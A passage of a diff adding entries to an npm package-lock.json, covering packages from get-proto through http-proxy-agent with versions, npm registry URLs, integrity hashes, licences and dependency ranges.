14272+ "es-define-property": "^1.0.1",
14273+ "es-errors": "^1.3.0",
14274+ "es-object-atoms": "^1.1.1",
14275+ "function-bind": "^1.1.2",
14276+ "get-proto": "^1.0.1",
14277+ "gopd": "^1.2.0",
14278+ "has-symbols": "^1.1.0",
14279+ "hasown": "^2.0.2",
14280+ "math-intrinsics": "^1.1.0"
14281+ },
14282+ "engines": {
14283+ "node": ">= 0.4"
14284+ },
14285+ "funding": {
14286+ "url": "https://github.com/sponsors/ljharb"
14287+ }
14288+ },
14289+ "node_modules/get-own-enumerable-property-symbols": {
14290+ "version": "3.0.2",
14291+ "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
14292+ "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==",
14293+ "license": "ISC"
14294+ },
14295+ "node_modules/get-package-type": {
14296+ "version": "0.1.0",
14297+ "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
14298+ "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
14299+ "license": "MIT",
14300+ "engines": {
14301+ "node": ">=8.0.0"
14302+ }
14303+ },
14304+ "node_modules/get-proto": {
14305+ "version": "1.0.1",
14306+ "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
14307+ "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
14308+ "license": "MIT",
14309+ "dependencies": {
14310+ "dunder-proto": "^1.0.1",
14311+ "es-object-atoms": "^1.0.0"
14312+ },
14313+ "engines": {
14314+ "node": ">= 0.4"
14315+ }
14316+ },
14317+ "node_modules/get-stream": {
14318+ "version": "6.0.1",
14319+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
14320+ "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==",
14321+ "license": "MIT",
14322+ "engines": {
14323+ "node": ">=10"
14324+ },
14325+ "funding": {
14326+ "url": "https://github.com/sponsors/sindresorhus"
14327+ }
14328+ },
14329+ "node_modules/get-symbol-description": {
14330+ "version": "1.1.0",
14331+ "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz",
14332+ "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==",
14333+ "license": "MIT",
14334+ "dependencies": {
14335+ "call-bound": "^1.0.3",
14336+ "es-errors": "^1.3.0",
14337+ "get-intrinsic": "^1.2.6"
14338+ },
14339+ "engines": {
14340+ "node": ">= 0.4"
14341+ },
14342+ "funding": {
14343+ "url": "https://github.com/sponsors/ljharb"
14344+ }
14345+ },
14346+ "node_modules/get-value": {
14347+ "version": "2.0.6",
14348+ "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
14349+ "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==",
14350+ "license": "MIT",
14351+ "engines": {
14352+ "node": ">=0.10.0"
14353+ }
14354+ },
14355+ "node_modules/getpass": {
14356+ "version": "0.1.7",
14357+ "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
14358+ "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==",
14359+ "license": "MIT",
14360+ "dependencies": {
14361+ "assert-plus": "^1.0.0"
14362+ }
14363+ },
14364+ "node_modules/glob": {
14365+ "version": "7.2.3",
14366+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
14367+ "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
14368+ "deprecated": "Glob versions prior to v9 are no longer supported",
14369+ "license": "ISC",
14370+ "dependencies": {
14371+ "fs.realpath": "^1.0.0",
14372+ "inflight": "^1.0.4",
14373+ "inherits": "2",
14374+ "minimatch": "^3.1.1",
14375+ "once": "^1.3.0",
14376+ "path-is-absolute": "^1.0.0"
14377+ },
14378+ "engines": {
14379+ "node": "*"
14380+ },
14381+ "funding": {
14382+ "url": "https://github.com/sponsors/isaacs"
14383+ }
14384+ },
14385+ "node_modules/glob-parent": {
14386+ "version": "6.0.2",
14387+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
14388+ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
14389+ "license": "ISC",
14390+ "dependencies": {
14391+ "is-glob": "^4.0.3"
14392+ },
14393+ "engines": {
14394+ "node": ">=10.13.0"
14395+ }
14396+ },
14397+ "node_modules/glob-to-regexp": {
14398+ "version": "0.4.1",
14399+ "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
14400+ "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==",
14401+ "license": "BSD-2-Clause"
14402+ },
14403+ "node_modules/global": {
14404+ "version": "4.4.0",
14405+ "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz",
14406+ "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==",
14407+ "license": "MIT",
14408+ "dependencies": {
14409+ "min-document": "^2.19.0",
14410+ "process": "^0.11.10"
14411+ }
14412+ },
14413+ "node_modules/global-modules": {
14414+ "version": "2.0.0",
14415+ "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
14416+ "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
14417+ "license": "MIT",
14418+ "dependencies": {
14419+ "global-prefix": "^3.0.0"
14420+ },
14421+ "engines": {
14422+ "node": ">=6"
14423+ }
14424+ },
14425+ "node_modules/global-prefix": {
14426+ "version": "3.0.0",
14427+ "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
14428+ "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
14429+ "license": "MIT",
14430+ "dependencies": {
14431+ "ini": "^1.3.5",
14432+ "kind-of": "^6.0.2",
14433+ "which": "^1.3.1"
14434+ },
14435+ "engines": {
14436+ "node": ">=6"
14437+ }
14438+ },
14439+ "node_modules/global-prefix/node_modules/which": {
14440+ "version": "1.3.1",
14441+ "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
14442+ "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
14443+ "license": "ISC",
14444+ "dependencies": {
14445+ "isexe": "^2.0.0"
14446+ },
14447+ "bin": {
14448+ "which": "bin/which"
14449+ }
14450+ },
14451+ "node_modules/globals": {
14452+ "version": "13.24.0",
14453+ "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
14454+ "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==",
14455+ "license": "MIT",
14456+ "dependencies": {
14457+ "type-fest": "^0.20.2"
14458+ },
14459+ "engines": {
14460+ "node": ">=8"
14461+ },
14462+ "funding": {
14463+ "url": "https://github.com/sponsors/sindresorhus"
14464+ }
14465+ },
14466+ "node_modules/globalthis": {
14467+ "version": "1.0.4",
14468+ "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
14469+ "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
14470+ "license": "MIT",
14471+ "dependencies": {
14472+ "define-properties": "^1.2.1",
14473+ "gopd": "^1.0.1"
14474+ },
14475+ "engines": {
14476+ "node": ">= 0.4"
14477+ },
14478+ "funding": {
14479+ "url": "https://github.com/sponsors/ljharb"
14480+ }
14481+ },
14482+ "node_modules/globby": {
14483+ "version": "11.1.0",
14484+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
14485+ "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
14486+ "license": "MIT",
14487+ "dependencies": {
14488+ "array-union": "^2.1.0",
14489+ "dir-glob": "^3.0.1",
14490+ "fast-glob": "^3.2.9",
14491+ "ignore": "^5.2.0",
14492+ "merge2": "^1.4.1",
14493+ "slash": "^3.0.0"
14494+ },
14495+ "engines": {
14496+ "node": ">=10"
14497+ },
14498+ "funding": {
14499+ "url": "https://github.com/sponsors/sindresorhus"
14500+ }
14501+ },
14502+ "node_modules/glsl-noise": {
14503+ "version": "0.0.0",
14504+ "resolved": "https://registry.npmjs.org/glsl-noise/-/glsl-noise-0.0.0.tgz",
14505+ "integrity": "sha512-b/ZCF6amfAUb7dJM/MxRs7AetQEahYzJ8PtgfrmEdtw6uyGOr+ZSGtgjFm6mfsBkxJ4d2W7kg+Nlqzqvn3Bc0w==",
14506+ "license": "MIT"
14507+ },
14508+ "node_modules/gopd": {
14509+ "version": "1.2.0",
14510+ "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
14511+ "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
14512+ "license": "MIT",
14513+ "engines": {
14514+ "node": ">= 0.4"
14515+ },
14516+ "funding": {
14517+ "url": "https://github.com/sponsors/ljharb"
14518+ }
14519+ },
14520+ "node_modules/graceful-fs": {
14521+ "version": "4.2.11",
14522+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
14523+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
14524+ "license": "ISC"
14525+ },
14526+ "node_modules/graphemer": {
14527+ "version": "1.4.0",
14528+ "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",
14529+ "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==",
14530+ "license": "MIT"
14531+ },
14532+ "node_modules/gridfs-stream": {
14533+ "version": "1.1.1",
14534+ "resolved": "https://registry.npmjs.org/gridfs-stream/-/gridfs-stream-1.1.1.tgz",
14535+ "integrity": "sha512-EcELdPIjC7tpZUiZA/8trfmszLbcsZlFyDQ8DhMtyJIMDmuLi5Vzt/056OO6FqfvY/zwiTCo1eZAqwtqrhBGMQ==",
14536+ "deprecated": "This project has been sunset. Please migrate to an alternative.",
14537+ "dependencies": {
14538+ "flushwritable": "^1.0.0"
14539+ },
14540+ "engines": {
14541+ "node": ">= 0.4.2"
14542+ }
14543+ },
14544+ "node_modules/gzip-size": {
14545+ "version": "6.0.0",
14546+ "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz",
14547+ "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==",
14548+ "license": "MIT",
14549+ "dependencies": {
14550+ "duplexer": "^0.1.2"
14551+ },
14552+ "engines": {
14553+ "node": ">=10"
14554+ },
14555+ "funding": {
14556+ "url": "https://github.com/sponsors/sindresorhus"
14557+ }
14558+ },
14559+ "node_modules/handle-thing": {
14560+ "version": "2.0.1",
14561+ "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
14562+ "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==",
14563+ "license": "MIT"
14564+ },
14565+ "node_modules/har-schema": {
14566+ "version": "2.0.0",
14567+ "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
14568+ "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==",
14569+ "license": "ISC",
14570+ "engines": {
14571+ "node": ">=4"
14572+ }
14573+ },
14574+ "node_modules/har-validator": {
14575+ "version": "5.1.5",
14576+ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz",
14577+ "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==",
14578+ "deprecated": "this library is no longer supported",
14579+ "license": "MIT",
14580+ "dependencies": {
14581+ "ajv": "^6.12.3",
14582+ "har-schema": "^2.0.0"
14583+ },
14584+ "engines": {
14585+ "node": ">=6"
14586+ }
14587+ },
14588+ "node_modules/harmony-reflect": {
14589+ "version": "1.6.2",
14590+ "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz",
14591+ "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==",
14592+ "license": "(Apache-2.0 OR MPL-1.1)"
14593+ },
14594+ "node_modules/has-bigints": {
14595+ "version": "1.1.0",
14596+ "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz",
14597+ "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==",
14598+ "license": "MIT",
14599+ "engines": {
14600+ "node": ">= 0.4"
14601+ },
14602+ "funding": {
14603+ "url": "https://github.com/sponsors/ljharb"
14604+ }
14605+ },
14606+ "node_modules/has-flag": {
14607+ "version": "4.0.0",
14608+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
14609+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
14610+ "license": "MIT",
14611+ "engines": {
14612+ "node": ">=8"
14613+ }
14614+ },
14615+ "node_modules/has-property-descriptors": {
14616+ "version": "1.0.2",
14617+ "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
14618+ "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
14619+ "license": "MIT",
14620+ "dependencies": {
14621+ "es-define-property": "^1.0.0"
14622+ },
14623+ "funding": {
14624+ "url": "https://github.com/sponsors/ljharb"
14625+ }
14626+ },
14627+ "node_modules/has-proto": {
14628+ "version": "1.2.0",
14629+ "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
14630+ "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
14631+ "license": "MIT",
14632+ "dependencies": {
14633+ "dunder-proto": "^1.0.0"
14634+ },
14635+ "engines": {
14636+ "node": ">= 0.4"
14637+ },
14638+ "funding": {
14639+ "url": "https://github.com/sponsors/ljharb"
14640+ }
14641+ },
14642+ "node_modules/has-symbols": {
14643+ "version": "1.1.0",
14644+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
14645+ "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
14646+ "license": "MIT",
14647+ "engines": {
14648+ "node": ">= 0.4"
14649+ },
14650+ "funding": {
14651+ "url": "https://github.com/sponsors/ljharb"
14652+ }
14653+ },
14654+ "node_modules/has-tostringtag": {
14655+ "version": "1.0.2",
14656+ "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
14657+ "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
14658+ "license": "MIT",
14659+ "dependencies": {
14660+ "has-symbols": "^1.0.3"
14661+ },
14662+ "engines": {
14663+ "node": ">= 0.4"
14664+ },
14665+ "funding": {
14666+ "url": "https://github.com/sponsors/ljharb"
14667+ }
14668+ },
14669+ "node_modules/hash-base": {
14670+ "version": "3.0.5",
14671+ "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz",
14672+ "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==",
14673+ "license": "MIT",
14674+ "dependencies": {
14675+ "inherits": "^2.0.4",
14676+ "safe-buffer": "^5.2.1"
14677+ },
14678+ "engines": {
14679+ "node": ">= 0.10"
14680+ }
14681+ },
14682+ "node_modules/hash.js": {
14683+ "version": "1.1.7",
14684+ "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz",
14685+ "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==",
14686+ "license": "MIT",
14687+ "dependencies": {
14688+ "inherits": "^2.0.3",
14689+ "minimalistic-assert": "^1.0.1"
14690+ }
14691+ },
14692+ "node_modules/hasown": {
14693+ "version": "2.0.2",
14694+ "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
14695+ "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
14696+ "license": "MIT",
14697+ "dependencies": {
14698+ "function-bind": "^1.1.2"
14699+ },
14700+ "engines": {
14701+ "node": ">= 0.4"
14702+ }
14703+ },
14704+ "node_modules/he": {
14705+ "version": "1.2.0",
14706+ "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
14707+ "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
14708+ "license": "MIT",
14709+ "bin": {
14710+ "he": "bin/he"
14711+ }
14712+ },
14713+ "node_modules/hls.js": {
14714+ "version": "1.6.15",
14715+ "resolved": "https://registry.npmjs.org/hls.js/-/hls.js-1.6.15.tgz",
14716+ "integrity": "sha512-E3a5VwgXimGHwpRGV+WxRTKeSp2DW5DI5MWv34ulL3t5UNmyJWCQ1KmLEHbYzcfThfXG8amBL+fCYPneGHC4VA==",
14717+ "license": "Apache-2.0"
14718+ },
14719+ "node_modules/hmac-drbg": {
14720+ "version": "1.0.1",
14721+ "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz",
14722+ "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==",
14723+ "license": "MIT",
14724+ "dependencies": {
14725+ "hash.js": "^1.0.3",
14726+ "minimalistic-assert": "^1.0.0",
14727+ "minimalistic-crypto-utils": "^1.0.1"
14728+ }
14729+ },
14730+ "node_modules/hoopy": {
14731+ "version": "0.1.4",
14732+ "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz",
14733+ "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==",
14734+ "license": "MIT",
14735+ "engines": {
14736+ "node": ">= 6.0.0"
14737+ }
14738+ },
14739+ "node_modules/hpack.js": {
14740+ "version": "2.1.6",
14741+ "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
14742+ "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==",
14743+ "license": "MIT",
14744+ "dependencies": {
14745+ "inherits": "^2.0.1",
14746+ "obuf": "^1.0.0",
14747+ "readable-stream": "^2.0.1",
14748+ "wbuf": "^1.1.0"
14749+ }
14750+ },
14751+ "node_modules/html-encoding-sniffer": {
14752+ "version": "2.0.1",
14753+ "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
14754+ "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==",
14755+ "license": "MIT",
14756+ "dependencies": {
14757+ "whatwg-encoding": "^1.0.5"
14758+ },
14759+ "engines": {
14760+ "node": ">=10"
14761+ }
14762+ },
14763+ "node_modules/html-entities": {
14764+ "version": "2.6.0",
14765+ "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.6.0.tgz",
14766+ "integrity": "sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==",
14767+ "funding": [
14768+ {
14769+ "type": "github",
14770+ "url": "https://github.com/sponsors/mdevils"
14771+ },
14772+ {
14773+ "type": "patreon",
14774+ "url": "https://patreon.com/mdevils"
14775+ }
14776+ ],
14777+ "license": "MIT"
14778+ },
14779+ "node_modules/html-escaper": {
14780+ "version": "2.0.2",
14781+ "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
14782+ "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
14783+ "license": "MIT"
14784+ },
14785+ "node_modules/html-minifier-terser": {
14786+ "version": "6.1.0",
14787+ "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
14788+ "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==",
14789+ "license": "MIT",
14790+ "dependencies": {
14791+ "camel-case": "^4.1.2",
14792+ "clean-css": "^5.2.2",
14793+ "commander": "^8.3.0",
14794+ "he": "^1.2.0",
14795+ "param-case": "^3.0.4",
14796+ "relateurl": "^0.2.7",
14797+ "terser": "^5.10.0"
14798+ },
14799+ "bin": {
14800+ "html-minifier-terser": "cli.js"
14801+ },
14802+ "engines": {
14803+ "node": ">=12"
14804+ }
14805+ },
14806+ "node_modules/html-webpack-plugin": {
14807+ "version": "5.6.5",
14808+ "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.6.5.tgz",
14809+ "integrity": "sha512-4xynFbKNNk+WlzXeQQ+6YYsH2g7mpfPszQZUi3ovKlj+pDmngQ7vRXjrrmGROabmKwyQkcgcX5hqfOwHbFmK5g==",
14810+ "license": "MIT",
14811+ "dependencies": {
14812+ "@types/html-minifier-terser": "^6.0.0",
14813+ "html-minifier-terser": "^6.0.2",
14814+ "lodash": "^4.17.21",
14815+ "pretty-error": "^4.0.0",
14816+ "tapable": "^2.0.0"
14817+ },
14818+ "engines": {
14819+ "node": ">=10.13.0"
14820+ },
14821+ "funding": {
14822+ "type": "opencollective",
14823+ "url": "https://opencollective.com/html-webpack-plugin"
14824+ },
14825+ "peerDependencies": {
14826+ "@rspack/core": "0.x || 1.x",
14827+ "webpack": "^5.20.0"
14828+ },
14829+ "peerDependenciesMeta": {
14830+ "@rspack/core": {
14831+ "optional": true
14832+ },
14833+ "webpack": {
14834+ "optional": true
14835+ }
14836+ }
14837+ },
14838+ "node_modules/htmlparser2": {
14839+ "version": "6.1.0",
14840+ "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz",
14841+ "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==",
14842+ "funding": [
14843+ "https://github.com/fb55/htmlparser2?sponsor=1",
14844+ {
14845+ "type": "github",
14846+ "url": "https://github.com/sponsors/fb55"
14847+ }
14848+ ],
14849+ "license": "MIT",
14850+ "dependencies": {
14851+ "domelementtype": "^2.0.1",
14852+ "domhandler": "^4.0.0",
14853+ "domutils": "^2.5.2",
14854+ "entities": "^2.0.0"
14855+ }
14856+ },
14857+ "node_modules/http-deceiver": {
14858+ "version": "1.2.7",
14859+ "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
14860+ "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==",
14861+ "license": "MIT"
14862+ },
14863+ "node_modules/http-errors": {
14864+ "version": "2.0.1",
14865+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
14866+ "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
14867+ "license": "MIT",
14868+ "dependencies": {
14869+ "depd": "~2.0.0",
14870+ "inherits": "~2.0.4",
14871+ "setprototypeof": "~1.2.0",
14872+ "statuses": "~2.0.2",
14873+ "toidentifier": "~1.0.1"
14874+ },
14875+ "engines": {
14876+ "node": ">= 0.8"
14877+ },
14878+ "funding": {
14879+ "type": "opencollective",
14880+ "url": "https://opencollective.com/express"
14881+ }
14882+ },
14883+ "node_modules/http-parser-js": {
14884+ "version": "0.5.10",
14885+ "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.10.tgz",
14886+ "integrity": "sha512-Pysuw9XpUq5dVc/2SMHpuTY01RFl8fttgcyunjL7eEMhGM3cI4eOmiCycJDVCo/7O7ClfQD3SaI6ftDzqOXYMA==",
14887+ "license": "MIT"
14888+ },
14889+ "node_modules/http-proxy": {
14890+ "version": "1.18.1",
14891+ "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
14892+ "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
14893+ "license": "MIT",
14894+ "dependencies": {
14895+ "eventemitter3": "^4.0.0",
14896+ "follow-redirects": "^1.0.0",
14897+ "requires-port": "^1.0.0"
14898+ },
14899+ "engines": {
14900+ "node": ">=8.0.0"
14901+ }
14902+ },
14903+ "node_modules/http-proxy-agent": {
14904+ "version": "4.0.1",
14905+ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
14906+ "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
14907+ "license": "MIT",
14908+ "dependencies": {
14909+ "@tootallnate/once": "1",
14910+ "agent-base": "6",
14911+ "debug": "4"
14912+ },
14913+ "engines": {
14914+ "node": ">= 6"
14915+ }
14916+ },
14917+ "node_modules/http-proxy-agent/node_modules/debug": {
14918+ "version": "4.4.3",
14919+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
14920+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
14921+ "license": "MIT",
14922+ "dependencies": {
14923+ "ms": "^2.1.3"
14924+ },
14925+ "engines": {
14926+ "node": ">=6.0"
14927+ },
